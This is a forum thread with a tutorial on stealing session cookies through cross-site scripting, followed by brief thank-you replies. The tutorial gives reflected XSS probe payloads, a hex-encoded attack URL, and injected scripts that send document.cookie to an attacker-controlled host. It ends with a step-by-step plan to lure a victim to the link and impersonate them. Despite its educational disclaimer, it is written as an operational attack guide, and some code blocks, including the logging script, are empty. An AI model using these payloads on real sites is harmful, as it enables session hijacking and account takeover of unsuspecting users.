![]() |
Stealing Cookie With XSS
IntroductionI thought it was about time for someone to post a cookie stealing tutorial, so I decided to write one for you from the ground up. NOTE: Again... this was written to educate you on the security aspects of the following information, not to teach you how to break the law or do something stupid. Use what you learn from this to make your website more secure/use better browsing habits, not break into other websites. BackgroundFirst, make sure you've read these two articles because I'm going to assume you already understand everything written in them: XSS Complete Guide All About Cookies and Security Now we need to understand a bit more about how XSS actually works before moving on. From the above article, you already know a bit of the theory behind XSS, so we'll get right to the code. Let's say a web page has a search function that uses this code: Code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value=""></td></tr>Code:
<script>alert("test")</script>Code:
<tr><td>Name</td><td><input type="text" name="advisor_name" value="<script>alert("test")</script>"></td></tr>Code:
"><script>alert("test")</script>Code:
http://www.site.com/search.php?q="><script>alert("test")</script>Code:
http://centricle.com/tools/ascii-hex/Code:
http://www.site.com/search.php?q=%22%3e%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%74%65%73%74%22%29%3c%2 f%73%63%72%69%70%74%3eUsing XSS to Steal CookiesOK, so now you know the page is vulnerable to XSS injection. Great. Now what? You want to make it do something useful, like steal cookies. Cookie stealing is when you insert a script into the page so that everyone that views the modified page inadvertently sends you their session cookie. By modifying your session cookie (see the above linked tutorial), you can impersonate any user who viewed the modified page. So how do you use XSS to steal cookies? The easiest way is to use a three-step process consisting of the injected script, the cookie recorder, and the log file. First you'll need to get an account on a server and create two files, log.txt and whateveryouwant.php. You can leave log.txt empty. This is the file your cookie stealer will write to. Now paste this php code into your cookie stealer script (whateveryouwant.php): Code:
Now we need to get the vulnerable page to access this script. We can do that by modifying our earlier injection: Code:
"><script language= "JavaScript">document.location="http://yoursite.com/whateveryouwant.php?cookie=" + document.cookie;document.location="http://www.whateversite.com"</script>Code:
"><a href="#" onclick="document.location='http://yoursite.com/whateveryouwant.php?cookie=' +escape(document.cookie);"><Click Me></a></script>Code:
logData(); Code:
logData();Code:
SummarySo in summary: 1. Test the page to make sure it's vulnerable to XSS injections. 2. Once you know it's vulnerable, upload the cookie stealer php file and log file to your server. 3. Insert the injection into the page via the url or text box. 4. Grab the link of that page with your exploited search query (if injection is not stored on the server's copy of the page). 5. Get someone to use that link if necessary. 6. Check your log file for their cookie. 7. Modify your own cookie to match the captured one and refresh the page. ReferencesI originally posted this article on TechMafias.com but reposted it here for the go4expert community. Code:
http://techmafias.com/forum/Thread-tutorial-cookie-stealing-with-xss |
Re: Stealing Cookie With XSS
Nice Article :D
|
Re: Stealing Cookie With XSS
Thanks :)
|
Re: Stealing Cookie With XSS
If you guyz want to pratice these XSS and if u cant find a vulnerable website, then you can try following link.
www.TechMafias.com/xss_practice |
Re: Stealing Cookie With XSS
Nice.
|
Re: Stealing Cookie With XSS
nice, thanks.
|
Re: Stealing Cookie With XSS
|
Re: Stealing Cookie With XSS
Quote:
|
Re: Stealing Cookie With XSS
Quote:
|
Re: Stealing Cookie With XSS
No problem.
|
| All times are GMT +5.5. The time now is 22:45. |